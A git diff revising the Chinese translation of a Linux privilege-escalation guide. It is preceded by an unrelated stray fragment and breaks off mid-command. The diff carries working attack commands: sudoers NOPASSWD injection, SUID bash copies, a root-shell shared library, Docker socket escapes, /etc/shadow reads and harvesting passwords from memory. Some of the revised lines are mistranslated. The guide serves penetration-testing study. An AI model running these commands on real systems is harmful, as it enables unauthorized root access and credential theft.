⌘⌥F (Command-Option/Alt-F) | 在您的邮箱中搜索 | ## 参考文献 diff --git a/src/linux-hardening/privilege-escalation/README.md b/src/linux-hardening/privilege-escalation/README.md index 35110ee08..9d779ef4a 100644 --- a/src/linux-hardening/privilege-escalation/README.md +++ b/src/linux-hardening/privilege-escalation/README.md @@ -32,24 +32,24 @@ cat /proc/version uname -a searchsploit "Linux Kernel" ``` -您可以在这里找到一个好的易受攻击内核列表和一些已经**编译的漏洞利用**: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) 和 [exploitdb sploits](https://github.com/offensive-security/exploitdb-bin-sploits/tree/master/bin-sploits)。\ +您可以在这里找到一个好的易受攻击的内核列表和一些已经**编译的漏洞利用**: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) 和 [exploitdb sploits](https://github.com/offensive-security/exploitdb-bin-sploits/tree/master/bin-sploits)。\ 其他可以找到一些**编译的漏洞利用**的网站: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack) 要从该网站提取所有易受攻击的内核版本,您可以执行: ```bash curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' ' ``` -可以帮助搜索内核漏洞的工具有: +可能有助于搜索内核漏洞的工具包括: [linux-exploit-suggester.sh](https://github.com/mzet-/linux-exploit-suggester)\ [linux-exploit-suggester2.pl](https://github.com/jondonas/linux-exploit-suggester-2)\ -[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py)(在受害者上执行,仅检查2.x内核的漏洞) +[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py)(在受害者上执行,仅检查内核 2.x 的漏洞) -始终**在Google中搜索内核版本**,也许您的内核版本在某个内核漏洞中被写入,这样您就可以确定该漏洞是有效的。 +始终**在 Google 中搜索内核版本**,也许您的内核版本在某些内核漏洞中被写入,这样您就可以确定该漏洞是有效的。 ### CVE-2016-5195 (DirtyCow) -Linux特权提升 - Linux内核 <= 3.19.0-73.8 +Linux 权限提升 - Linux 内核 <= 3.19.0-73.8 ```bash # make dirtycow stable echo 0 > /proc/sys/vm/dirty_writeback_centisecs @@ -59,7 +59,7 @@ https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c ``` ### Sudo 版本 -基于出现的易受攻击的 sudo 版本: +基于出现在的易受攻击的 sudo 版本: ```bash searchsploit sudo ``` @@ -131,7 +131,7 @@ docker-security/ ## Drives -检查**已挂载和未挂载的内容**,以及它们的位置和原因。如果有任何未挂载的内容,你可以尝试挂载它并检查私人信息。 +检查**哪些是挂载和未挂载的**,在哪里以及为什么。如果有任何未挂载的,你可以尝试挂载它并检查私人信息。 ```bash ls /dev 2>/dev/null | grep -i "sd" cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null @@ -144,13 +144,13 @@ grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc ```bash which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null ``` -还要检查是否**安装了任何编译器**。如果您需要使用某个内核漏洞,这很有用,因为建议在您将要使用它的机器上(或类似的机器上)进行编译。 +还要检查是否**安装了任何编译器**。如果您需要使用某些内核漏洞,这很有用,因为建议在您将要使用它的机器上(或类似的机器上)进行编译。 ```bash (dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/") ``` ### 安装的易受攻击软件 -检查**已安装软件包和服务的版本**。可能存在某些旧版本的Nagios(例如),可以利用这些版本来提升权限…\ +检查**已安装软件包和服务的版本**。可能存在某些旧版的Nagios(例如),可以被利用来提升权限…\ 建议手动检查更可疑的已安装软件的版本。 ```bash dpkg -l #Debian @@ -169,7 +169,7 @@ ps -ef top -n 1 ``` 始终检查可能正在运行的 [**electron/cef/chromium debuggers**,您可以利用它来提升权限](electron-cef-chromium-debugger-abuse.md)。**Linpeas** 通过检查进程命令行中的 `--inspect` 参数来检测这些。\ -还要**检查您对进程二进制文件的权限**,也许您可以覆盖某些内容。 +还要**检查您对进程二进制文件的权限**,也许您可以覆盖某个用户。 ### 进程监控 @@ -230,14 +230,14 @@ rm $1*.bin ``` #### /dev/mem -`/dev/mem` 提供对系统 **物理** 内存的访问,而不是虚拟内存。内核的虚拟地址空间可以通过 /dev/kmem 访问。\ +`/dev/mem` 提供对系统 **物理** 内存的访问,而不是虚拟内存。内核的虚拟地址空间可以使用 /dev/kmem 访问。\ 通常,`/dev/mem` 仅对 **root** 和 **kmem** 组可读。 ``` strings /dev/mem -n10 | grep -i PASS ``` ### ProcDump for linux -ProcDump 是 Sysinternals 工具套件中经典 ProcDump 工具在 Linux 上的重新构想。获取它在 [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) +ProcDump 是 Sysinternals 工具套件中经典 ProcDump 工具的 Linux 版本。获取地址在 [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) ``` procdump -p 1714 @@ -269,7 +269,7 @@ Press Ctrl-C to end monitoring without terminating the process. 要转储进程内存,您可以使用: - [**https://github.com/Sysinternals/ProcDump-for-Linux**](https://github.com/Sysinternals/ProcDump-for-Linux) -- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_您可以手动删除root要求并转储由您拥有的进程 +- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_您可以手动移除root要求并转储由您拥有的进程 - 来自 [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) 的脚本 A.5 (需要root) ### 从进程内存中获取凭据 @@ -290,14 +290,14 @@ strings *.dump | grep -i password 该工具 [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) 将 **从内存中窃取明文凭据** 和一些 **知名文件**。它需要 root 权限才能正常工作。 -| 特性 | 进程名称 | -| ------------------------------------------------ | -------------------- | -| GDM 密码(Kali 桌面,Debian 桌面) | gdm-password | -| Gnome 密钥环(Ubuntu 桌面,ArchLinux 桌面) | gnome-keyring-daemon | -| LightDM(Ubuntu 桌面) | lightdm | -| VSFTPd(活动 FTP 连接) | vsftpd | -| Apache2(活动 HTTP 基本认证会话) | apache2 | -| OpenSSH(活动 SSH 会话 - Sudo 使用) | sshd: | +| 特性 | 进程名称 | +| ---------------------------------------------- | ---------------- | +| GDM 密码(Kali 桌面,Debian 桌面) | gdm-password | +| Gnome 密钥环(Ubuntu 桌面,ArchLinux 桌面) | gnome-keyring-daemon | +| LightDM(Ubuntu 桌面) | lightdm | +| VSFTPd(活动 FTP 连接) | vsftpd | +| Apache2(活动 HTTP 基本认证会话) | apache2 | +| OpenSSH(活动 SSH 会话 - Sudo 使用) | sshd: | #### Search Regexes/[truffleproc](https://github.com/controlplaneio/truffleproc) ```bash @@ -325,10 +325,10 @@ cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/nul 例如,在 _/etc/crontab_ 中可以找到 PATH: _PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_ -(_注意用户 "user" 对 /home/user 具有写权限_) +(_注意用户 "user" 对 /home/user 具有写入权限_) 如果在这个 crontab 中,root 用户尝试执行某个命令或脚本而没有设置路径。例如: _\* \* \* \* root overwrite.sh_\ -然后,您可以通过使用以下方式获得 root shell: +然后,您可以通过使用: ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh #Wait cron job to be executed @@ -405,7 +405,7 @@ ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello" ## **定时器** -**定时器** 是以 `**.timer**` 结尾的 systemd 单元文件,控制 `**.service**` 文件或事件。 **定时器** 可以作为 cron 的替代方案,因为它们内置支持日历时间事件和单调时间事件,并且可以异步运行。 +**定时器** 是以 `**.timer**` 结尾的 systemd 单元文件,用于控制 `**.service**` 文件或事件。 **定时器** 可以作为 cron 的替代方案,因为它们内置支持日历时间事件和单调时间事件,并且可以异步运行。 您可以使用以下命令列出所有定时器: ```bash @@ -417,14 +417,14 @@ systemctl list-timers --all ```bash Unit=backdoor.service ``` -在文档中,您可以阅读到 Unit 的定义: +在文档中,您可以阅读单位的定义: -> 当此计时器到期时要激活的单元。参数是单元名称,其后缀不是 ".timer"。如果未指定,则此值默认为与计时器单元同名的服务,除了后缀外。(见上文。)建议激活的单元名称和计时器单元的名称在后缀之外是相同的。 +> 当此计时器到期时要激活的单位。参数是单位名称,其后缀不是“.timer”。如果未指定,则此值默认为与计时器单位同名的服务,除了后缀外。(见上文。)建议激活的单位名称和计时器单位的名称在后缀之外是相同的。 因此,要滥用此权限,您需要: - 找到某个 systemd 单元(如 `.service`),该单元正在 **执行一个可写的二进制文件** -- 找到某个 systemd 单元,该单元正在 **执行一个相对路径**,并且您对 **systemd PATH** 具有 **可写权限**(以伪装该可执行文件) +- 找到某个 systemd 单元,该单元正在 **执行一个相对路径**,并且您对 **systemd PATH** 具有 **可写权限**(以冒充该可执行文件) **了解有关计时器的更多信息,请使用 `man systemd.timer`。** @@ -439,7 +439,7 @@ Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /li ## 套接字 -Unix 域套接字 (UDS) 使得 **进程通信** 在同一台或不同机器之间的客户端-服务器模型中成为可能。它们利用标准的 Unix 描述符文件进行计算机间通信,并通过 `.socket` 文件进行设置。 +Unix 域套接字 (UDS) 使得在客户端-服务器模型中同一台或不同机器上的 **进程通信** 成为可能。它们利用标准的 Unix 描述符文件进行计算机间通信,并通过 `.socket` 文件进行设置。 套接字可以使用 `.socket` 文件进行配置。 @@ -448,13 +448,13 @@ Unix 域套接字 (UDS) 使得 **进程通信** 在同一台或不同机器之 - `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: 这些选项不同,但总结用于 **指示它将监听的位置**(AF_UNIX 套接字文件的路径,监听的 IPv4/6 和/或端口号等) - `Accept`: 接受一个布尔参数。如果 **true**,则 **为每个传入连接生成一个服务实例**,并且仅将连接套接字传递给它。如果 **false**,则所有监听套接字本身都被 **传递给启动的服务单元**,并且仅为所有连接生成一个服务单元。对于数据报套接字和 FIFO,此值被忽略,因为单个服务单元无条件处理所有传入流量。**默认为 false**。出于性能原因,建议仅以适合 `Accept=no` 的方式编写新的守护进程。 - `ExecStartPre`, `ExecStartPost`: 接受一个或多个命令行,这些命令在监听 **套接字**/FIFO 被 **创建** 和绑定之前或之后 **执行**。命令行的第一个标记必须是绝对文件名,后面跟着进程的参数。 -- `ExecStopPre`, `ExecStopPost`: 在监听 **套接字**/FIFO 被 **关闭** 和移除之前或之后 **执行** 的额外 **命令**。 -- `Service`: 指定 **在传入流量上激活的** 服务单元名称。此设置仅允许用于 Accept=no 的套接字。默认为与套接字同名的服务(后缀被替换)。在大多数情况下,不需要使用此选项。 +- `ExecStopPre`, `ExecStopPost`: 在监听 **套接字**/FIFO 被 **关闭** 和移除之前或之后 **执行** 的附加 **命令**。 +- `Service`: 指定 **在传入流量** 上 **激活** 的 **服务** 单元名称。此设置仅允许用于 Accept=no 的套接字。默认为与套接字同名的服务(后缀被替换)。在大多数情况下,不需要使用此选项。 ### 可写的 .socket 文件 -如果您发现一个 **可写的** `.socket` 文件,您可以在 `[Socket]` 部分的开头添加类似 `ExecStartPre=/home/kali/sys/backdoor` 的内容,后门将在套接字创建之前执行。因此,您 **可能需要等到机器重启。**\ -&#xNAN;_N注意系统必须使用该套接字文件配置,否则后门将不会被执行_ +如果您发现一个 **可写** 的 `.socket` 文件,您可以在 `[Socket]` 部分的开头添加类似 `ExecStartPre=/home/kali/sys/backdoor` 的内容,后门将在套接字创建之前执行。因此,您 **可能需要等到机器重启。**\ +_请注意,系统必须使用该套接字文件配置,否则后门将不会被执行_ ### 可写套接字 @@ -489,11 +489,11 @@ curl --max-time 2 --unix-socket /pat/to/socket/files http:/index ### 可写的 Docker 套接字 -Docker 套接字,通常位于 `/var/run/docker.sock`,是一个关键文件,应该被保护。默认情况下,它对 `root` 用户和 `docker` 组的成员是可写的。拥有对这个套接字的写访问权限可能导致特权提升。以下是如何做到这一点的详细说明,以及在 Docker CLI 不可用时的替代方法。 +Docker 套接字,通常位于 `/var/run/docker.sock`,是一个关键文件,应该被保护。默认情况下,它对 `root` 用户和 `docker` 组的成员是可写的。拥有对这个套接字的写入权限可能导致权限提升。以下是如何做到这一点的分解,以及在 Docker CLI 不可用时的替代方法。 -#### **使用 Docker CLI 进行特权提升** +#### **使用 Docker CLI 提升权限** -如果你对 Docker 套接字具有写访问权限,可以使用以下命令提升特权: +如果你对 Docker 套接字具有写入权限,可以使用以下命令提升权限: ```bash docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh @@ -538,7 +538,7 @@ Upgrade: tcp 请注意,如果您对 Docker 套接字具有写权限,因为您**在 `docker` 组内**,您有[**更多的权限提升方式**](interesting-groups-linux-pe/index.html#docker-group)。如果[**docker API 在某个端口上监听**,您也可能能够妥协它](../../network-services-pentesting/2375-pentesting-docker.md#compromising)。 -查看**更多从 Docker 中突破或滥用它以提升权限的方法**: +查看**更多从 Docker 中突破或滥用它以提升权限的方法**在: {{#ref}} docker-security/ @@ -566,7 +566,7 @@ D-Bus 是一个复杂的 **进程间通信 (IPC) 系统**,使应用程序能 该系统灵活多变,支持基本的 IPC,增强了进程之间的数据交换,类似于 **增强的 UNIX 域套接字**。此外,它有助于广播事件或信号,促进系统组件之间的无缝集成。例如,来自蓝牙守护进程的关于来电的信号可以促使音乐播放器静音,从而提升用户体验。此外,D-Bus 支持远程对象系统,简化了应用程序之间的服务请求和方法调用,简化了传统上复杂的过程。 -D-Bus 基于 **允许/拒绝模型**,根据匹配的策略规则的累积效果管理消息权限(方法调用、信号发射等)。这些策略指定与总线的交互,可能通过利用这些权限来允许权限提升。 +D-Bus 基于 **允许/拒绝模型**,根据匹配策略规则的累积效果管理消息权限(方法调用、信号发射等)。这些策略指定与总线的交互,可能通过利用这些权限来允许权限提升。 在 `/etc/dbus-1/system.d/wpa_supplicant.conf` 中提供了这样一个策略的示例,详细说明了根用户拥有、发送和接收来自 `fi.w1.wpa_supplicant1` 的消息的权限。 @@ -579,7 +579,7 @@ D-Bus 基于 **允许/拒绝模型**,根据匹配的策略规则的累积效 ``` -**了解如何枚举和利用 D-Bus 通信:** +**学习如何枚举和利用 D-Bus 通信:** {{#ref}} d-bus-enumeration-and-command-injection-privilege-escalation.md @@ -629,7 +629,7 @@ timeout 1 tcpdump ### 通用枚举 -检查 **你是谁**,你拥有的 **权限**,系统中有哪些 **用户**,哪些可以 **登录**,哪些具有 **root 权限**: +检查 **who** 你是,您拥有的 **privileges**,系统中有哪些 **users**,哪些可以 **login**,哪些具有 **root privileges**: ```bash #Info about me id || (whoami && groups) 2>/dev/null @@ -683,11 +683,11 @@ grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/logi ``` ### 已知密码 -如果您**知道环境中的任何密码**,请尝试使用该密码**登录每个用户**。 +如果您**知道环境中的任何密码**,请**尝试使用该密码登录每个用户**。 ### Su Brute -如果您不介意制造大量噪音,并且计算机上存在`su`和`timeout`二进制文件,您可以尝试使用[su-bruteforce](https://github.com/carlospolop/su-bruteforce)进行暴力破解用户。\ +如果您不介意制造很多噪音,并且计算机上存在`su`和`timeout`二进制文件,您可以尝试使用[su-bruteforce](https://github.com/carlospolop/su-bruteforce)进行暴力破解用户。\ [**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)使用`-a`参数也会尝试暴力破解用户。 ## 可写的 PATH 滥用 @@ -720,13 +720,13 @@ $ sudo -l User demo may run the following commands on crashlab: (root) NOPASSWD: /usr/bin/vim ``` -在这个例子中,用户 `demo` 可以以 `root` 身份运行 `vim`,现在通过将 ssh 密钥添加到根目录或调用 `sh` 来获取 shell 变得非常简单。 +在这个例子中,用户 `demo` 可以以 `root` 身份运行 `vim`,现在通过将 ssh 密钥添加到根目录或调用 `sh` 来获取 shell 变得很简单。 ``` sudo vim -c '!sh' ``` ### SETENV -此指令允许用户在执行某些操作时**设置环境变量**: +此指令允许用户在执行某个操作时**设置环境变量**: ```bash $ sudo -l User waldo may run the following commands on admirer: @@ -738,7 +738,7 @@ sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh ``` ### Sudo 执行绕过路径 -**跳转** 以读取其他文件或使用 **符号链接**。例如在 sudoers 文件中: _hacker10 ALL= (root) /bin/less /var/log/\*_ +**跳转** 以读取其他文件或使用 **符号链接**。例如在 sudoers 文件中: _hacker10 ALL= (root) /bin/less /var/log/\*_ ```bash sudo less /var/logs/anything less>:e /etc/shadow #Jump to read other files using privileged less @@ -763,11 +763,11 @@ export PATH=/tmp:$PATH #Put your backdoor in /tmp and name it "less" sudo less ``` -这种技术也可以在**suid**二进制文件**执行另一个命令而不指定路径时使用(始终检查**_**strings**_ **内容的奇怪SUID二进制文件)**。 +这种技术也可以在**suid**二进制文件**执行另一个命令而不指定路径时使用(始终检查**_**strings**_ **工具查看奇怪的 SUID 二进制文件的内容)**。 [Payload examples to execute.](payloads-to-execute.md) -### 带命令路径的SUID二进制文件 +### 带命令路径的 SUID 二进制文件 如果**suid**二进制文件**执行另一个命令并指定路径**,那么你可以尝试**导出一个函数**,其名称与suid文件调用的命令相同。 @@ -776,7 +776,7 @@ sudo less function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; } export -f /usr/sbin/service ``` -然后,当你调用suid二进制文件时,这个函数将被执行 +然后,当你调用suid二进制文件时,将执行此函数 ### LD_PRELOAD & **LD_LIBRARY_PATH** @@ -787,7 +787,7 @@ export -f /usr/sbin/service - 对于真实用户ID(_ruid_)与有效用户ID(_euid_)不匹配的可执行文件,加载器会忽略**LD_PRELOAD**。 - 对于具有suid/sgid的可执行文件,仅在标准路径中且也具有suid/sgid的库会被预加载。 -如果你有能力使用`sudo`执行命令,并且`sudo -l`的输出包含语句**env_keep+=LD_PRELOAD**,则可能发生权限提升。此配置允许**LD_PRELOAD**环境变量持续存在并被识别,即使在使用`sudo`运行命令时,这可能导致以提升的权限执行任意代码。 +如果你有能力使用`sudo`执行命令,并且`sudo -l`的输出包含语句**env_keep+=LD_PRELOAD**,则可能发生权限提升。此配置允许**LD_PRELOAD**环境变量在使用`sudo`运行命令时保持并被识别,这可能导致以提升的权限执行任意代码。 ``` Defaults env_keep += LD_PRELOAD ``` @@ -836,7 +836,7 @@ sudo LD_LIBRARY_PATH=/tmp ``` ### SUID 二进制文件 – .so 注入 -当遇到一个具有 **SUID** 权限的二进制文件且看起来不寻常时,验证它是否正确加载 **.so** 文件是一个好习惯。可以通过运行以下命令来检查: +当遇到一个具有 **SUID** 权限且看起来不寻常的二进制文件时,验证它是否正确加载 **.so** 文件是一个好习惯。可以通过运行以下命令来检查: ```bash strace 2>&1 | grep -i -E "open|access|no such file" ``` @@ -853,7 +853,7 @@ void inject(){ system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p"); } ``` -此代码在编译和执行后,旨在通过操纵文件权限并执行具有提升权限的 shell 来提升权限。 +此代码在编译和执行后,旨在通过操纵文件权限并以提升的权限执行 shell 来提升特权。 使用以下命令将上述 C 文件编译为共享对象 (.so) 文件: ```bash @@ -892,9 +892,9 @@ system("/bin/bash -p"); ### GTFOBins -[**GTFOBins**](https://gtfobins.github.io) 是一个经过整理的 Unix 二进制文件列表,攻击者可以利用这些文件绕过本地安全限制。[**GTFOArgs**](https://gtfoargs.github.io/) 是相同的,但适用于您只能在命令中 **注入参数** 的情况。 +[**GTFOBins**](https://gtfobins.github.io) 是一个经过整理的 Unix 二进制文件列表,攻击者可以利用这些文件绕过本地安全限制。[**GTFOArgs**](https://gtfoargs.github.io/) 则是针对只能 **注入参数** 的命令的相同列表。 -该项目收集了可以被滥用以突破受限 shell、提升或维持特权、传输文件、生成绑定和反向 shell,以及促进其他后期利用任务的 Unix 二进制文件的合法功能。 +该项目收集了可以被滥用的 Unix 二进制文件的合法功能,以打破受限的 shell,提升或维持提升的权限,传输文件,生成绑定和反向 shell,并促进其他后期利用任务。 > gdb -nx -ex '!sh' -ex quit\ > sudo mysql -e '! /bin/sh'\ @@ -915,18 +915,18 @@ https://gtfoargs.github.io/ ### 重用 Sudo 令牌 -在您拥有 **sudo 访问权限** 但没有密码的情况下,您可以通过 **等待 sudo 命令执行然后劫持会话令牌** 来提升特权。 +在您拥有 **sudo 访问权限** 但没有密码的情况下,您可以通过 **等待 sudo 命令执行然后劫持会话令牌** 来提升权限。 -提升特权的要求: +提升权限的要求: - 您已经以用户 "_sampleuser_" 拥有一个 shell - "_sampleuser_" 在 **过去 15 分钟内** **使用过 `sudo`** 执行了某些操作(默认情况下,这是允许我们在不输入任何密码的情况下使用 `sudo` 的 sudo 令牌的持续时间) -- `cat /proc/sys/kernel/yama/ptrace_scope` 的值为 0 +- `cat /proc/sys/kernel/yama/ptrace_scope` 为 0 - `gdb` 可访问(您可以上传它) (您可以通过 `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` 临时启用 `ptrace_scope`,或通过永久修改 `/etc/sysctl.d/10-ptrace.conf` 并设置 `kernel.yama.ptrace_scope = 0` 来实现) -如果满足所有这些要求,**您可以使用以下方法提升特权:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject) +如果满足所有这些要求,**您可以使用以下方法提升权限:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject) - **第一个利用** (`exploit.sh`) 将在 _/tmp_ 中创建二进制文件 `activate_sudo_token`。您可以使用它来 **在您的会话中激活 sudo 令牌**(您不会自动获得 root shell,请执行 `sudo su`): ```bash @@ -946,8 +946,8 @@ sudo su ``` ### /var/run/sudo/ts/\ -如果您在该文件夹或文件夹内创建的任何文件中具有**写权限**,则可以使用二进制文件[**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools)为用户和PID**创建sudo令牌**。\ -例如,如果您可以覆盖文件_/var/run/sudo/ts/sampleuser_,并且您以该用户的身份拥有PID 1234的shell,则可以**获得sudo权限**而无需知道密码,方法是: +如果您在该文件夹或文件夹内创建的任何文件中具有**写权限**,则可以使用二进制文件 [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) 来**为用户和PID创建sudo令牌**。\ +例如,如果您可以覆盖文件 _/var/run/sudo/ts/sampleuser_,并且您以该用户的身份拥有PID 1234的shell,则可以**获得sudo权限**而无需知道密码,方法是: ```bash ./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser ``` @@ -959,7 +959,7 @@ sudo su ls -l /etc/sudoers /etc/sudoers.d/ ls -ld /etc/sudoers.d/ ``` -如果你会写东西,你就可以滥用这个权限。 +如果你会写,你就可以滥用这个权限。 ```bash echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers.d/README @@ -1004,9 +1004,9 @@ sudo ls 文件 `/etc/ld.so.conf` 指示 **加载的配置文件来自哪里**。通常,这个文件包含以下路径:`include /etc/ld.so.conf.d/*.conf` -这意味着将读取来自 `/etc/ld.so.conf.d/*.conf` 的配置文件。这些配置文件 **指向其他文件夹**,在这些文件夹中将 **搜索** **库**。例如,`/etc/ld.so.conf.d/libc.conf` 的内容是 `/usr/local/lib`。 **这意味着系统将在 `/usr/local/lib` 内搜索库**。 +这意味着将读取来自 `/etc/ld.so.conf.d/*.conf` 的配置文件。这些配置文件 **指向其他文件夹**,在这些文件夹中将 **搜索** **库**。例如,`/etc/ld.so.conf.d/libc.conf` 的内容是 `/usr/local/lib`。**这意味着系统将在 `/usr/local/lib` 内搜索库**。 -如果出于某种原因 **用户对任何指示的路径具有写权限**:`/etc/ld.so.conf`、`/etc/ld.so.conf.d/`、`/etc/ld.so.conf.d/` 中的任何文件或 `/etc/ld.so.conf.d/*.conf` 中的配置文件内的任何文件夹,他可能能够提升权限。\ +如果由于某种原因 **用户对任何指示的路径具有写权限**:`/etc/ld.so.conf`、`/etc/ld.so.conf.d/`、`/etc/ld.so.conf.d/` 内的任何文件或 `/etc/ld.so.conf.d/*.conf` 内的配置文件中的任何文件夹,他可能能够提升权限。\ 请查看 **如何利用此错误配置** 在以下页面: {{#ref}} @@ -1062,7 +1062,7 @@ linux-capabilities.md ## ACLs -访问控制列表(ACLs)代表了可自由裁量权限的第二层,能够**覆盖传统的ugo/rwx权限**。这些权限通过允许或拒绝特定用户(非所有者或组成员)访问文件或目录,从而增强了对访问的控制。这种**粒度确保了更精确的访问管理**。更多细节可以在[**这里**](https://linuxconfig.org/how-to-manage-acls-on-linux)找到。 +访问控制列表(ACLs)代表了可选择权限的第二层,能够**覆盖传统的ugo/rwx权限**。这些权限通过允许或拒绝特定用户(非所有者或组成员)访问文件或目录,从而增强了对访问的控制。这种**粒度确保了更精确的访问管理**。更多细节可以在[**这里**](https://linuxconfig.org/how-to-manage-acls-on-linux)找到。 **给予**用户“kali”对文件的读取和写入权限: ```bash @@ -1077,8 +1077,8 @@ getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null ``` ## 打开 shell 会话 -在 **旧版本**中,您可能会 **劫持**其他用户(**root**)的一些 **shell** 会话。\ -在 **最新版本**中,您将只能 **连接**到 **您自己用户**的屏幕会话。然而,您可能会在会话中找到 **有趣的信息**。 +在 **旧版本** 中,您可能会 **劫持** 其他用户 (**root**) 的一些 **shell** 会话。\ +在 **最新版本** 中,您将只能 **连接** 到 **您自己的用户** 的屏幕会话。然而,您可能会在会话中找到 **有趣的信息**。 ### 屏幕会话劫持 @@ -1151,7 +1151,7 @@ AuthorizedKeysFile .ssh/authorized_keys access ### ForwardAgent/AllowAgentForwarding -SSH代理转发允许您**使用本地SSH密钥而不是将密钥**(没有密码短语!)放在服务器上。因此,您将能够**通过ssh跳转到一个主机**,然后从那里**跳转到另一个**主机**,使用**位于您**初始主机**中的**密钥**。 +SSH代理转发允许您**使用本地SSH密钥而不是将密钥**(没有密码短语!)放在服务器上。因此,您将能够**通过ssh跳转到一个主机**,然后从那里**跳转到另一个**主机,**使用**位于您**初始主机**中的**密钥**。 您需要在`$HOME/.ssh.config`中设置此选项,如下所示: ``` @@ -1161,7 +1161,7 @@ ForwardAgent yes 注意,如果 `Host` 是 `*`,每次用户跳转到不同的机器时,该主机将能够访问密钥(这是一种安全问题)。 文件 `/etc/ssh_config` 可以 **覆盖** 这些 **选项** 并允许或拒绝此配置。\ -文件 `/etc/sshd_config` 可以使用关键字 `AllowAgentForwarding` **允许** 或 **拒绝** ssh-agent 转发(默认是允许)。 +文件 `/etc/sshd_config` 可以通过关键字 `AllowAgentForwarding` **允许** 或 **拒绝** ssh-agent 转发(默认是允许)。 如果您发现转发代理在某个环境中被配置,请阅读以下页面,因为 **您可能能够利用它来提升权限**: @@ -1231,7 +1231,7 @@ Group=root ### 检查文件夹 -以下文件夹可能包含备份或有趣的信息:**/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root**(可能您无法读取最后一个,但可以尝试) +以下文件夹可能包含备份或有趣的信息:**/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root**(您可能无法读取最后一个,但可以尝试) ```bash ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root ``` @@ -1268,12 +1268,12 @@ find / -type f \( -name "*_history" -o -name ".sudo_as_admin_successful" -o -nam ```bash find / -type f -iname ".*" -ls 2>/dev/null ``` -### **在 PATH 中的脚本/二进制文件** +### **脚本/二进制文件在 PATH 中** ```bash for d in `echo $PATH | tr ":" "\n"`; do find $d -name "*.sh" 2>/dev/null; done for d in `echo $PATH | tr ":" "\n"`; do find $d -type f -executable 2>/dev/null; done ``` -### **网页文件** +### **网络文件** ```bash ls -alhR /var/www/ 2>/dev/null ls -alhR /srv/www/htdocs/ 2>/dev/null @@ -1291,13 +1291,13 @@ find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/gam ### 日志 -如果您可以读取日志,您可能会在其中找到**有趣/机密的信息**。日志越奇怪,它就越有趣(可能)。\ +如果您可以读取日志,您可能会在其中找到**有趣/机密的信息**。日志越奇怪,可能就越有趣。\ 此外,一些“**错误**”配置(后门?)的**审计日志**可能允许您**在审计日志中记录密码**,正如在这篇文章中所解释的:[https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/)。 ```bash aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g" grep -RE 